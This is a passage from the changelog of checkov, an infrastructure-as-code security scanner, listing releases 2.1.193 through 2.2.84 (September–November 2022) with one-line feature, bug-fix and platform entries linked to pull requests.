[#3915](https://github.com/bridgecrewio/checkov/pull/3915) ### Bug Fix - **terraform:** Remove cross variables edges duplications - [#3920](https://github.com/bridgecrewio/checkov/pull/3920) ## [2.2.84](https://github.com/bridgecrewio/checkov/compare/2.2.80...2.2.84) - 2022-11-22 ### Feature - **general:** sign and push checkov image to GitHub registry - [#3906](https://github.com/bridgecrewio/checkov/pull/3906) - **secrets:** Add Terraform multiline secrets handling - [#3907](https://github.com/bridgecrewio/checkov/pull/3907) - **terraform:** ensure snapshots use encryption - [#3899](https://github.com/bridgecrewio/checkov/pull/3899) - **terraform:** support cross-modules edges - [#3909](https://github.com/bridgecrewio/checkov/pull/3909) ## [2.2.80](https://github.com/bridgecrewio/checkov/compare/2.2.78...2.2.80) - 2022-11-21 ### Feature - **terraform:** add nested module address attribute - [#3904](https://github.com/bridgecrewio/checkov/pull/3904) ## [2.2.78](https://github.com/bridgecrewio/checkov/compare/2.2.75...2.2.78) - 2022-11-20 ### Feature - **general:** add output format cyclonedx_json - [#3902](https://github.com/bridgecrewio/checkov/pull/3902) - **general:** add source to contributor metrics report - [#3905](https://github.com/bridgecrewio/checkov/pull/3905) ### Bug Fix - **terraform:** Fix an edge case in AbsRDSParameter check - [#3903](https://github.com/bridgecrewio/checkov/pull/3903) ## [2.2.75](https://github.com/bridgecrewio/checkov/compare/2.2.72...2.2.75) - 2022-11-17 ### Feature - **github:** add output-file-path flag to checkov-action - [#3897](https://github.com/bridgecrewio/checkov/pull/3897) ### Bug Fix - **terraform:** Dynamic blocks - added support for lookup null/true/false values - [#3893](https://github.com/bridgecrewio/checkov/pull/3893) ### Platform - **sca:** added dependency tree format - [#3892](https://github.com/bridgecrewio/checkov/pull/3892) ## [2.2.72](https://github.com/bridgecrewio/checkov/compare/2.2.65...2.2.72) - 2022-11-16 ### Feature - **terraform:** add CKV NCP rules about NKSPublicAccess - [#3822](https://github.com/bridgecrewio/checkov/pull/3822) - **terraform:** Censor secrets from tfplan graph - [#3894](https://github.com/bridgecrewio/checkov/pull/3894) - **terraform:** create cross-variable edges between resources from the same module - [#3881](https://github.com/bridgecrewio/checkov/pull/3881) ### Bug Fix - **general:** remove filter value validation - [#3896](https://github.com/bridgecrewio/checkov/pull/3896) - **terraform:** Fix dynamic blocks nested module - [#3890](https://github.com/bridgecrewio/checkov/pull/3890) - **terraform:** handle empty enabled_cluster_log_types list - [#3891](https://github.com/bridgecrewio/checkov/pull/3891) ### Platform - **sca:** add scaCliScanId parameter - [#3789](https://github.com/bridgecrewio/checkov/pull/3789) ## [2.2.65](https://github.com/bridgecrewio/checkov/compare/2.2.58...2.2.65) - 2022-11-15 ### Feature - **terraform:** test checks for any port access - [#3882](https://github.com/bridgecrewio/checkov/pull/3882) ### Bug Fix - **terraform:** Fixing some broke flow in dynamic blocks rendering - [#3879](https://github.com/bridgecrewio/checkov/pull/3879) - **terraform:** Not adding dynamic blocks attributes to attributes - [#3872](https://github.com/bridgecrewio/checkov/pull/3872) ### Platform - **general:** Support s3 client config for govcloud - [#3880](https://github.com/bridgecrewio/checkov/pull/3880) - **sca:** Add repoId to GET request - [#3876](https://github.com/bridgecrewio/checkov/pull/3876) - **sca:** Fix bom report - [#3867](https://github.com/bridgecrewio/checkov/pull/3867) - **sca:** Poll sca scan results using Polling API - [#3841](https://github.com/bridgecrewio/checkov/pull/3841) - **sca:** remove src from repo path - [#3884](https://github.com/bridgecrewio/checkov/pull/3884) ## [2.2.58](https://github.com/bridgecrewio/checkov/compare/2.2.50...2.2.58) - 2022-11-14 ### Feature - **general:** number of words larger/less than or equal operators - [#3827](https://github.com/bridgecrewio/checkov/pull/3827) - **general:** remove env var for running contributor metrics report and add logs - [#3873](https://github.com/bridgecrewio/checkov/pull/3873) - **terraform:** add CKV NCP rules about Load Balancer Exposed to Internet - [#3819](https://github.com/bridgecrewio/checkov/pull/3819) - **terraform:** Mask secret values in Terraform plan file reports by resource - [#3868](https://github.com/bridgecrewio/checkov/pull/3868) - **terraform:** Support dynamic blocks with nested attributes - [#3869](https://github.com/bridgecrewio/checkov/pull/3869) ### Bug Fix - **general:** Fixed operator name for number_of_words_derivaties - [#3875](https://github.com/bridgecrewio/checkov/pull/3875) - **terraform:** Fix dynamic attributes override each other - [#3866](https://github.com/bridgecrewio/checkov/pull/3866) ## [2.2.50](https://github.com/bridgecrewio/checkov/compare/2.2.44...2.2.50) - 2022-11-13 ### Feature - **general:** add reporting contributor metrics - [#3823](https://github.com/bridgecrewio/checkov/pull/3823) - **terraform:** add CKV NCP rules about access key hard coding - [#3820](https://github.com/bridgecrewio/checkov/pull/3820) - **terraform:** NSGRulePortAccessRestricted - Remove the condition for dynamic blocks - [#3862](https://github.com/bridgecrewio/checkov/pull/3862) ### Bug Fix - **kubernetes:** handle empty spec object in k8s templates - [#3865](https://github.com/bridgecrewio/checkov/pull/3865) - **openapi:** fixed error in invalid openapi template - [#3863](https://github.com/bridgecrewio/checkov/pull/3863) - **terraform:** app_service Upgrade tests and add web app resources - [#3838](https://github.com/bridgecrewio/checkov/pull/3838) - **terraform:** Handled nested unrendered vars - [#3853](https://github.com/bridgecrewio/checkov/pull/3853) ## [2.2.44](https://github.com/bridgecrewio/checkov/compare/2.2.43...2.2.44) - 2022-11-11 ### Bug Fix - **terraform:** fix an issue with dynamics replacing a whole block - [#3846](https://github.com/bridgecrewio/checkov/pull/3846) ## [2.2.43](https://github.com/bridgecrewio/checkov/compare/2.2.38...2.2.43) - 2022-11-10 ### Feature - **terraform:** Wrap render dynamic blocks flow with try except - [#3837](https://github.com/bridgecrewio/checkov/pull/3837) ### Bug Fix - **bicep:** make ARM AKS checks compatible with Bicep - [#3836](https://github.com/bridgecrewio/checkov/pull/3836) - **cloudformation:** only parse valid tag key-pairs in CloudFormation - [#3835](https://github.com/bridgecrewio/checkov/pull/3835) - **general:** Clear details before next check run to avoid duplications in output - [#3711](https://github.com/bridgecrewio/checkov/pull/3711) ## [2.2.38](https://github.com/bridgecrewio/checkov/compare/2.2.35...2.2.38) - 2022-11-09 ### Feature - **secrets:** add abstract multiline parser + implement multiline json parser - [#3799](https://github.com/bridgecrewio/checkov/pull/3799) - **terraform:** Support for nested dynamic modules - [#3813](https://github.com/bridgecrewio/checkov/pull/3813) ### Bug Fix - **kubernetes:** fixed unexpected list object - [#3833](https://github.com/bridgecrewio/checkov/pull/3833) ## [2.2.35](https://github.com/bridgecrewio/checkov/compare/2.2.31...2.2.35) - 2022-11-08 ### Feature - **general:** Added Number of Words operator - [#3801](https://github.com/bridgecrewio/checkov/pull/3801) - **terraform:** add CKV NCP rules about LBTargetGroupUsingHTTPS - [#3797](https://github.com/bridgecrewio/checkov/pull/3797) - **terraform:** add CKV NCP rules about NASEncrytionEnabled - [#3796](https://github.com/bridgecrewio/checkov/pull/3796) - **terraform:** Add Env Var for rendering Dynamic Blocks - [#3816](https://github.com/bridgecrewio/checkov/pull/3816) - **terraform:** Dynamic blocks breadcrumbs support - [#3814](https://github.com/bridgecrewio/checkov/pull/3814) - **terraform:** PC Policy Team Yaml Policies Check-in - [#3785](https://github.com/bridgecrewio/checkov/pull/3785) - **terraform:** PC-Policy-Team: Ensure GCP compute firewall ingress does not allow unrestricted access to all ports - [#3786](https://github.com/bridgecrewio/checkov/pull/3786) ### Platform - **sca:** Run package scan using API - [#3812](https://github.com/bridgecrewio/checkov/pull/3812) ## [2.2.31](https://github.com/bridgecrewio/checkov/compare/2.2.22...2.2.31) - 2022-11-07 ### Feature - **azure:** Add get resource names for azure_pipelines - [#3798](https://github.com/bridgecrewio/checkov/pull/3798) - **github:** add graph to GitHub Actions - [#3672](https://github.com/bridgecrewio/checkov/pull/3672) - **terraform:** add CKV NCP rules about LBListenerUsesSecureProtocols - [#3782](https://github.com/bridgecrewio/checkov/pull/3782) - **terraform:** Dynamic Modules Support map type - [#3800](https://github.com/bridgecrewio/checkov/pull/3800) - **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (1/4) - [#3691](https://github.com/bridgecrewio/checkov/pull/3691) - **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (2/4) - [#3702](https://github.com/bridgecrewio/checkov/pull/3702) - **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (3/4) - [#3703](https://github.com/bridgecrewio/checkov/pull/3703) - **terraform:** include pods of kubernetes_deployment in kubernetes_pod checks (4/4) - [#3738](https://github.com/bridgecrewio/checkov/pull/3738) ### Bug Fix - **arm:** CKV_AZURE_9 & CKV_AZURE_10 - Scan fails if protocol value is a wildcard - [#3750](https://github.com/bridgecrewio/checkov/pull/3750) - **azure:** Remove redundant file path from resource name in azure pipelines - [#3818](https://github.com/bridgecrewio/checkov/pull/3818) - **secrets:** fix slow secrets scan in yaml files - [#3803](https://github.com/bridgecrewio/checkov/pull/3803) - **secrets:** fixed path of secrets tests to exclude - [#3817](https://github.com/bridgecrewio/checkov/pull/3817) - **terraform:** fix gke resource name not string - [#3811](https://github.com/bridgecrewio/checkov/pull/3811) ### Platform - **general:** rationalize policy metadata error handling behavior - [#3795](https://github.com/bridgecrewio/checkov/pull/3795) - **sca:** add new sca package scan - [#3802](https://github.com/bridgecrewio/checkov/pull/3802) - **sca:** Extract checkov check links - [#3790](https://github.com/bridgecrewio/checkov/pull/3790) ## [2.2.22](https://github.com/bridgecrewio/checkov/compare/2.2.21...2.2.22) - 2022-11-06 ### Feature - **kubernetes:** Create keyword and network policy edge builders - [#3763](https://github.com/bridgecrewio/checkov/pull/3763) ## [2.2.21](https://github.com/bridgecrewio/checkov/compare/2.2.17...2.2.21) - 2022-11-03 ### Feature - **general:** add range_includes and inverted operator - [#3752](https://github.com/bridgecrewio/checkov/pull/3752) - **secrets:** Add multiline detection to entropy keyword combinator - [#3788](https://github.com/bridgecrewio/checkov/pull/3788) ### Bug Fix - **terraform:** render list entries via modules correctly - [#3781](https://github.com/bridgecrewio/checkov/pull/3781) ## [2.2.17](https://github.com/bridgecrewio/checkov/compare/2.2.15...2.2.17) - 2022-11-02 ### Feature - **terraform:** Add CKV_AWS_276 to ensure that API Gateway Method Settings data_trace_enabled is not set to True - [#3761](https://github.com/bridgecrewio/checkov/pull/3761) ### Bug Fix - **terraform:** Fix `related_resource_id` for ImageReferencer in `external_module` - [#3780](https://github.com/bridgecrewio/checkov/pull/3780) ### Documentation - **general:** Fix typo in docs - [#3694](https://github.com/bridgecrewio/checkov/pull/3694) ## [2.2.15](https://github.com/bridgecrewio/checkov/compare/2.2.8...2.2.15) - 2022-10-31 ### Feature - **github:** split repo and org webhooks to separate files - [#3764](https://github.com/bridgecrewio/checkov/pull/3764) - **gitlab:** Adding image detection check to gitlab ci - [#3774](https://github.com/bridgecrewio/checkov/pull/3774) - **openapi:** pre-validate OpenAPI JSON files - [#3760](https://github.com/bridgecrewio/checkov/pull/3760) ### Bug Fix - **azure:** Support .yaml extension - [#3767](https://github.com/bridgecrewio/checkov/pull/3767) - **github:** print the result again in GHA - [#3751](https://github.com/bridgecrewio/checkov/pull/3751) - **terraform:** reduce parsing time for large TF plan files - [#3757](https://github.com/bridgecrewio/checkov/pull/3757) ## [2.2.8](https://github.com/bridgecrewio/checkov/compare/2.2.5...2.2.8) - 2022-10-30 ### Feature - **terraform:** add CKV2_AWS_40 to Ensure AWS IAM policy does not allow full IAM privileges - [#3712](https://github.com/bridgecrewio/checkov/pull/3712) ### Platform - **general:** Get resources from platform and filter taggable resources for policies - [#3621](https://github.com/bridgecrewio/checkov/pull/3621) ## [2.2.5](https://github.com/bridgecrewio/checkov/compare/2.2.0...2.2.5) - 2022-10-27 ### Feature - **graph:** add support for modules in graph checks - [#3635](https://github.com/bridgecrewio/checkov/pull/3635) - **terraform:** add CKV NCP rules about Network ACL. - [#3668](https://github.com/bridgecrewio/checkov/pull/3668) - **terraform:** TF Dynamic Blocks support - `for_each` lists type - [#3737](https://github.com/bridgecrewio/checkov/pull/3737) ### Bug Fix - **terraform:** fix a TF plan issue with CKV_AWS_274 - [#3747](https://github.com/bridgecrewio/checkov/pull/3747) - **terraform:** fix false positive for write ACL yaml check - [#3745](https://github.com/bridgecrewio/checkov/pull/3745) ### Documentation - **general:** Update Jenkins page to use Checkov image - [#3725](https://github.com/bridgecrewio/checkov/pull/3725) ## [2.2.0](https://github.com/bridgecrewio/checkov/compare/2.1.294...2.2.0) - 2022-10-26 ### Breaking Change - **github:** Change github_failed_only output suffix to .md - [#3595](https://github.com/bridgecrewio/checkov/pull/3595) - **terraform:** adjust the check result return for dependant variables to unknown in Python based checks - [#3743](https://github.com/bridgecrewio/checkov/pull/3743) - **terraform:** return UNKNOWN for unrendered values in graph checks - [#3689](https://github.com/bridgecrewio/checkov/pull/3689) ### Feature - **terraform:** add CKV NCP rule about block storage encryption. - [#3628](https://github.com/bridgecrewio/checkov/pull/3628) - **terraform:** add CKV NCP rule about vpc volume encryption. - [#3629](https://github.com/bridgecrewio/checkov/pull/3629) - **terraform:** add CKV NCP rules about Network ACL. - [#3630](https://github.com/bridgecrewio/checkov/pull/3630) - **terraform:** Create checks for aws managed admin policy - [#3741](https://github.com/bridgecrewio/checkov/pull/3741) ### Bug Fix - **terraform:** local_authentication_disabled - cosmodb check to look at SQL Api only CKV_AZURE_140 - [#3648](https://github.com/bridgecrewio/checkov/pull/3648) ## [2.1.294](https://github.com/bridgecrewio/checkov/compare/2.1.290...2.1.294) - 2022-10-25 ### Feature - **kubernetes:** Create label selector edge builder - [#3715](https://github.com/bridgecrewio/checkov/pull/3715) - **terraform:** add CKV NCP rules about access control group Inbound rule. - [#3627](https://github.com/bridgecrewio/checkov/pull/3627) - **terraform:** add versioned kubernetes resources to terraform kubernetes checks (5/5) - [#3657](https://github.com/bridgecrewio/checkov/pull/3657) ### Bug Fix - **general:** skip scanning VCS configuration if only files are passed in - [#3729](https://github.com/bridgecrewio/checkov/pull/3729) ## [2.1.290](https://github.com/bridgecrewio/checkov/compare/2.1.288...2.1.290) - 2022-10-24 ### Feature - **circleci:** CircleCI Image Reference using Mixin class - [#3707](https://github.com/bridgecrewio/checkov/pull/3707) ### Bug Fix - **kubernetes:** fix in CPURequests check - [#3727](https://github.com/bridgecrewio/checkov/pull/3727) ## [2.1.288](https://github.com/bridgecrewio/checkov/compare/2.1.286...2.1.288) - 2022-10-24 ### Bug Fix - **github:** fix GITHUB_OUTPUT and GITHUB_ENV issues of checkov-action - [#3726](https://github.com/bridgecrewio/checkov/pull/3726) - **gitlab:** Modify gitlab ci resource id - [#3706](https://github.com/bridgecrewio/checkov/pull/3706) ## [2.1.286](https://github.com/bridgecrewio/checkov/compare/2.1.282...2.1.286) - 2022-10-23 ### Feature - **graph:** equals/not_equals_ignore_case operators (solvers) - [#3698](https://github.com/bridgecrewio/checkov/pull/3698) ### Bug Fix - **github:** Fix GHA off value error resulting in checkov hanging - [#3713](https://github.com/bridgecrewio/checkov/pull/3713) - **gitlab:** vcs gitlab groups retrieval - [#3716](https://github.com/bridgecrewio/checkov/pull/3716) - **kubernetes:** fix in ServiceAccountTokens check - [#3717](https://github.com/bridgecrewio/checkov/pull/3717) - **terraform:** Add debug logs to yaml parsing logic - [#3718](https://github.com/bridgecrewio/checkov/pull/3718) ## [2.1.282](https://github.com/bridgecrewio/checkov/compare/2.1.277...2.1.282) - 2022-10-20 ### Bug Fix - **general:** Custom Policies integration must run before Suppresion integration - [#3701](https://github.com/bridgecrewio/checkov/pull/3701) - **terraform:** Add or condition for TLS 1.3 policy, supporting CKV_AWS_103 - [#3700](https://github.com/bridgecrewio/checkov/pull/3700) - **terraform:** Fix TF AbsGoogleComputeFirewallUnrestrictedIngress check - [#3704](https://github.com/bridgecrewio/checkov/pull/3704) ## [2.1.277](https://github.com/bridgecrewio/checkov/compare/2.1.273...2.1.277) - 2022-10-19 ### Feature - **terraform:** add CKV NCP rules about access control group outbound rule. - [#3624](https://github.com/bridgecrewio/checkov/pull/3624) - **terraform:** add versioned kubernetes resources to terraform kubernetes checks (2/5) - [#3654](https://github.com/bridgecrewio/checkov/pull/3654) - **terraform:** add versioned kubernetes resources to terraform kubernetes checks (3/5) - [#3655](https://github.com/bridgecrewio/checkov/pull/3655) - **terraform:** add versioned kubernetes resources to terraform kubernetes checks (4/5) - [#3656](https://github.com/bridgecrewio/checkov/pull/3656) ### Bug Fix - **cloudformation:** Fix ALBListenerTLS12 check - [#3697](https://github.com/bridgecrewio/checkov/pull/3697) - **helm:** undo file_abs_path manipulation for helm files - [#3692](https://github.com/bridgecrewio/checkov/pull/3692) - **kubernetes:** Couple of fixes in Checks - [#3686](https://github.com/bridgecrewio/checkov/pull/3686) - **terraform:** Fix CloudArmorWAFACLCVE202144228 check - [#3696](https://github.com/bridgecrewio/checkov/pull/3696) ## [2.1.273](https://github.com/bridgecrewio/checkov/compare/2.1.270...2.1.273) - 2022-10-18 ### Feature - **kustomize:** stop kustomize run, if there is nothing to process - [#3681](https://github.com/bridgecrewio/checkov/pull/3681) - **sca:** Enable multiple image referencer framework results in the same scan - [#3652](https://github.com/bridgecrewio/checkov/pull/3652) - **terraform:** add versioned kubernetes resources to terraform kubernetes checks (1/5) - [#3653](https://github.com/bridgecrewio/checkov/pull/3653) ### Documentation - **general:** Fix broken links - [#3685](https://github.com/bridgecrewio/checkov/pull/3685) ## [2.1.270](https://github.com/bridgecrewio/checkov/compare/2.1.269...2.1.270) - 2022-10-13 ### Bug Fix - **terraform:** Outdated check for google_container_cluster binary authorization - [#3612](https://github.com/bridgecrewio/checkov/pull/3612) ## [2.1.269](https://github.com/bridgecrewio/checkov/compare/2.1.266...2.1.269) - 2022-10-12 ### Feature - **terraform:** Added new Terraform-AWS python IAMUserNotUsedForAccess(CKV_AWS_273) policy - [#3574](https://github.com/bridgecrewio/checkov/pull/3574) ### Bug Fix - **argo:** only scan Argo Workflows files - [#3644](https://github.com/bridgecrewio/checkov/pull/3644) - **kubernetes:** minor fix for getting entity type from template - [#3645](https://github.com/bridgecrewio/checkov/pull/3645) - **kustomize:** add --client=true to kubectl version command, to prevent checkov waiting for timeout if cluster is unreachable - [#3641](https://github.com/bridgecrewio/checkov/pull/3641) - **terraform:** update CKV_AWS_213 to also cover AWS predefined security policies - [#3615](https://github.com/bridgecrewio/checkov/pull/3615) ## [2.1.266](https://github.com/bridgecrewio/checkov/compare/2.1.258...2.1.266) - 2022-10-11 ### Feature - **general:** add Azure Pipelines framework - [#3579](https://github.com/bridgecrewio/checkov/pull/3579) ### Bug Fix - **dockerfile:** handle quoted absolute path in CKV_DOCKER_10 - [#3626](https://github.com/bridgecrewio/checkov/pull/3626) - **kubernetes:** handled missing field secretKeyRef in template - [#3639](https://github.com/bridgecrewio/checkov/pull/3639) - **kubernetes:** handled missing key in k8s templates - [#3640](https://github.com/bridgecrewio/checkov/pull/3640) - **terraform:** extend CKV2_AWS_15 to support aws_lb_target_group - [#3617](https://github.com/bridgecrewio/checkov/pull/3617) - **terraform:** handle unexpected value for enabled_cloudwatch_logs_exports - [#3638](https://github.com/bridgecrewio/checkov/pull/3638) ## [2.1.258](https://github.com/bridgecrewio/checkov/compare/2.1.255...2.1.258) - 2022-10-06 ### Feature - **dockerfile:** add Image Referencer for Dockerfile - [#3571](https://github.com/bridgecrewio/checkov/pull/3571) ### Bug Fix - **cloudformation:** Fixed unexpected null properties for LaunchConfigurationEBSEncryption - [#3620](https://github.com/bridgecrewio/checkov/pull/3620) ## [2.1.255](https://github.com/bridgecrewio/checkov/compare/2.1.254...2.1.255) - 2022-10-04 ### Feature - **general:** allow file destination mapping via output-file-path flag - [#3593](https://github.com/bridgecrewio/checkov/pull/3593) ## [2.1.254](https://github.com/bridgecrewio/checkov/compare/2.1.247...2.1.254) - 2022-10-03 ### Feature - **github:** GHA Image Referencer using IR Mixin class - [#3583](https://github.com/bridgecrewio/checkov/pull/3583) - **graph:** add support for guideline field to custom graph checks - [#3600](https://github.com/bridgecrewio/checkov/pull/3600) - **sca:** Add root path references to shorten file paths in Image Referencer results - [#3609](https://github.com/bridgecrewio/checkov/pull/3609) - **sca:** support Image referencer in CLI - [#3601](https://github.com/bridgecrewio/checkov/pull/3601) ### Bug Fix - **github:** bug fixes in CKV_GITHUB_6, CKV_GITHUB_7, CKV_GITHUB_9 - [#3605](https://github.com/bridgecrewio/checkov/pull/3605) - **github:** Fix resource id and file path for GHA IR - [#3610](https://github.com/bridgecrewio/checkov/pull/3610) - **terraform:** extend check for google cloud functions 2nd generation - [#3607](https://github.com/bridgecrewio/checkov/pull/3607) - **terraform:** fix port is bool ingress rule - [#3606](https://github.com/bridgecrewio/checkov/pull/3606) ## [2.1.247](https://github.com/bridgecrewio/checkov/compare/2.1.242...2.1.247) - 2022-10-02 ### Feature - **general:** added cli argument for extra resources in report - [#3588](https://github.com/bridgecrewio/checkov/pull/3588) - **serverless:** added extra resources for serverless and dockerfile - [#3576](https://github.com/bridgecrewio/checkov/pull/3576) - **terraform:** add CKV_NCP_1 about lb target group health check, CKV_NCP_2 about access control group description - [#3569](https://github.com/bridgecrewio/checkov/pull/3569) ### Bug Fix - **cloudformation:** fix lc ebs encryption - [#3598](https://github.com/bridgecrewio/checkov/pull/3598) - **github:** changed the schema to accept no description for org - [#3589](https://github.com/bridgecrewio/checkov/pull/3589) - **secrets:** Skip secrets from files encoded with special codecs - [#3597](https://github.com/bridgecrewio/checkov/pull/3597) ## [2.1.242](https://github.com/bridgecrewio/checkov/compare/2.1.236...2.1.242) - 2022-09-29 ### Breaking Change - **general:** switch from black-list to block-list - [#3581](https://github.com/bridgecrewio/checkov/pull/3581) ### Feature - **kubernetes:** added resources mappings for roles objects - [#3582](https://github.com/bridgecrewio/checkov/pull/3582) ### Bug Fix - **github:** fix variables initialization - [#3585](https://github.com/bridgecrewio/checkov/pull/3585) - **kubernetes:** Handle templates without name for PeerClientCertAuthTrue check - [#3577](https://github.com/bridgecrewio/checkov/pull/3577) - **openapi:** fix openapi schema bug - [#3587](https://github.com/bridgecrewio/checkov/pull/3587) - **sca:** fix CycloneDX output for Docker images - [#3586](https://github.com/bridgecrewio/checkov/pull/3586) - **secrets:** change entropy limit in Combinator plugin - [#3575](https://github.com/bridgecrewio/checkov/pull/3575) - **terraform:** fix external modules ids in graph report - [#3584](https://github.com/bridgecrewio/checkov/pull/3584) - **terraform:** Handle malformed database_flags for GCP DB checks - [#3578](https://github.com/bridgecrewio/checkov/pull/3578) ## [2.1.236](https://github.com/bridgecrewio/checkov/compare/2.1.229...2.1.236) - 2022-09-28 ### Feature - **general:** Add enforcement rules to entrypoint.sh - [#3573](https://github.com/bridgecrewio/checkov/pull/3573) - **openapi:** add CKV_OPENAPI_7 to ensure http is not used in path definition - [#3547](https://github.com/bridgecrewio/checkov/pull/3547) - **sca:** add Image Referencer for Kubernetes, Helm and Kustomize - [#3505](https://github.com/bridgecrewio/checkov/pull/3505) - **terraform:** add CKV_AWS_272 to validate Lambda function code-signing - [#3556](https://github.com/bridgecrewio/checkov/pull/3556) - **terraform:** add new gcp postgresql checks - [#3532](https://github.com/bridgecrewio/checkov/pull/3532) - **terraform:** allow resources without values in TF plan - [#3563](https://github.com/bridgecrewio/checkov/pull/3563) ## [2.1.229](https://github.com/bridgecrewio/checkov/compare/2.1.228...2.1.229) - 2022-09-27 ### Bug Fix - **kubernetes:** [CKV_K8S_68] Remove unnecessary condition check from ApiServerAnonymousAuth.py - [#3543](https://github.com/bridgecrewio/checkov/pull/3543) ## [2.1.228](https://github.com/bridgecrewio/checkov/compare/2.1.227...2.1.228) - 2022-09-26 ### Bug Fix - **general:** use current branch name instead of master for the checkov-action - [#3568](https://github.com/bridgecrewio/checkov/pull/3568) ## [2.1.227](https://github.com/bridgecrewio/checkov/compare/2.1.226...2.1.227) - 2022-09-23 ### Documentation - **general:** Multi skip docs - [#3561](https://github.com/bridgecrewio/checkov/pull/3561) ## [2.1.226](https://github.com/bridgecrewio/checkov/compare/2.1.223...2.1.226) - 2022-09-22 ### Feature - **gitlab:** GitlabCI ImageReferencer - [#3544](https://github.com/bridgecrewio/checkov/pull/3544) ### Bug Fix - **secrets:** Bump bc-detect-secrets - [#3555](https://github.com/bridgecrewio/checkov/pull/3555) - **terraform:** fix check CKV2_AZURE_8 - [#3554](https://github.com/bridgecrewio/checkov/pull/3554) ### Documentation - **general:** Fix TOC rendering issue on checkov.io - [#3551](https://github.com/bridgecrewio/checkov/pull/3551) ## [2.1.223](https://github.com/bridgecrewio/checkov/compare/2.1.219...2.1.223) - 2022-09-21 ### Feature - **general:** Improve ComplexSolver run time - [#3548](https://github.com/bridgecrewio/checkov/pull/3548) - **kubernetes:** create complex k8s vertices - [#3549](https://github.com/bridgecrewio/checkov/pull/3549) ### Bug Fix - **general:** only add `helpUri` to SARIF if it is non-empty - [#3542](https://github.com/bridgecrewio/checkov/pull/3542) - **kubernetes:** [CKV_K8S_140] Update ApiServerTlsCertAndKey.py to check RHS values - [#3506](https://github.com/bridgecrewio/checkov/pull/3506) - **kubernetes:** [CKV_K8S_90] Remove unnecessary condition check from ApiServerProfiling.py - [#3541](https://github.com/bridgecrewio/checkov/pull/3541) ## [2.1.219](https://github.com/bridgecrewio/checkov/compare/2.1.214...2.1.219) - 2022-09-20 ### Feature - **cloudformation:** add CKV_AWS_197 for CFN - [#3536](https://github.com/bridgecrewio/checkov/pull/3536) - **sca:** Split `PRESENT_CACHED_RESULTS` env var to 2 feature flag like vars - [#3518](https://github.com/bridgecrewio/checkov/pull/3518) ### Bug Fix - **general:** handle fixes for cloned OOTB policies - [#3535](https://github.com/bridgecrewio/checkov/pull/3535) - **helm:** fix helm signal abort handler - [#3539](https://github.com/bridgecrewio/checkov/pull/3539) - **terraform:** APIGatewayAuthorization check missing authorization - [#3545](https://github.com/bridgecrewio/checkov/pull/3545) - **terraform:** fix tfvars rendering - [#3533](https://github.com/bridgecrewio/checkov/pull/3533) ## [2.1.214](https://github.com/bridgecrewio/checkov/compare/2.1.212...2.1.214) - 2022-09-19 ### Feature - **general:** leverage SARIF helpUri for guideline and SCA link - [#3492](https://github.com/bridgecrewio/checkov/pull/3492) - **github:** Improving GHA schema validation - [#3513](https://github.com/bridgecrewio/checkov/pull/3513) - **kubernetes:** added base class K8SEdgeBuilder - [#3530](https://github.com/bridgecrewio/checkov/pull/3530) - **terraform:** GCP Cloud functions should not be public - [#3477](https://github.com/bridgecrewio/checkov/pull/3477) ### Bug Fix - **github:** add missing schema files to distribution package - [#3537](https://github.com/bridgecrewio/checkov/pull/3537) - **sca:** changes on cve suppressions to match package and image scan - [#3502](https://github.com/bridgecrewio/checkov/pull/3502) - **sca:** send exception log when exceeded retries - [#3534](https://github.com/bridgecrewio/checkov/pull/3534) - **terraform:** make test case insensitive for CKV_ALI_35,CKV_ALI_36,CKV_ALI_37 - [#3507](https://github.com/bridgecrewio/checkov/pull/3507) - **terraform:** do not evaluate OCI policy statements - [#3411](https://github.com/bridgecrewio/checkov/pull/3411) ## [2.1.212](https://github.com/bridgecrewio/checkov/compare/2.1.210...2.1.212) - 2022-09-18 ### Bug Fix - **helm:** helm add timeout to dependencies command - [#3525](https://github.com/bridgecrewio/checkov/pull/3525) - **helm:** Helm fix logs - [#3524](https://github.com/bridgecrewio/checkov/pull/3524) ## [2.1.210](https://github.com/bridgecrewio/checkov/compare/2.1.207...2.1.210) - 2022-09-15 ### Feature - **sca:** add Image Referencer for CloudFormation - [#3501](https://github.com/bridgecrewio/checkov/pull/3501) ### Bug Fix - **helm:** add try catch to helm cmd run - [#3508](https://github.com/bridgecrewio/checkov/pull/3508) ### Platform - **general:** upload run metadata to S3 - [#3461](https://github.com/bridgecrewio/checkov/pull/3461) ## [2.1.207](https://github.com/bridgecrewio/checkov/compare/2.1.205...2.1.207) - 2022-09-14 ### Feature - **general:** fix format of cli command reference table - [#3504](https://github.com/bridgecrewio/checkov/pull/3504) ### Bug Fix - **sca:** skip old CVE suppressions (without 'accountIds') - [#3503](https://github.com/bridgecrewio/checkov/pull/3503) ## [2.1.205](https://github.com/bridgecrewio/checkov/compare/2.1.204...2.1.205) - 2022-09-13 ### Feature - **general:** add flag for summary position - [#3497](https://github.com/bridgecrewio/checkov/pull/3497) ## [2.1.204](https://github.com/bridgecrewio/checkov/compare/2.1.201...2.1.204) - 2022-09-12 ### Feature - **sca:** licenses suppressions by type - [#3491](https://github.com/bridgecrewio/checkov/pull/3491) ### Bug Fix - **arm:** unexpected data type in ACRAnonymousPullDisabled - [#3496](https://github.com/bridgecrewio/checkov/pull/3496) - **general:** remove duplicated reports - [#3495](https://github.com/bridgecrewio/checkov/pull/3495) ## [2.1.201](https://github.com/bridgecrewio/checkov/compare/2.1.196...2.1.201) - 2022-09-08 ### Feature - **general:** `intersects/not_intersects` operators (solvers) - [#3482](https://github.com/bridgecrewio/checkov/pull/3482) ### Bug Fix - **gha:** Gracefully handle bad GHA job definitions - [#3489](https://github.com/bridgecrewio/checkov/pull/3489) - **sca:** do not skip the scan if BC_LIC is used with --check - [#3488](https://github.com/bridgecrewio/checkov/pull/3488) ## [2.1.196](https://github.com/bridgecrewio/checkov/compare/2.1.193...2.1.196) - 2022-09-07 ### Bug Fix - **kubernetes:** Validate k8s spec type - [#3483](https://github.com/bridgecrewio/checkov/pull/3483) - **terraform:** removed duplicate check CKV_ALI_34 - [#3467](https://github.com/bridgecrewio/checkov/pull/3467) ## [2.1.193](https://github.com/bridgecrewio/checkov/compare/2.1.188...2.1.193) - 2022-09-06 ### Bug Fix - **cloudformation:** fix bug in cfn parser - [#3473](https://github.com/bridgecrewio/checkov/pull/3473) ### Platform - **sca:** Add images data to image_cached_results for ImageReferencer scan - [#3468](https://github.com/bridgecrewio/checkov/pull/3468) - **secrets:** modify checkov secrets scanner to scan all files based on ff - 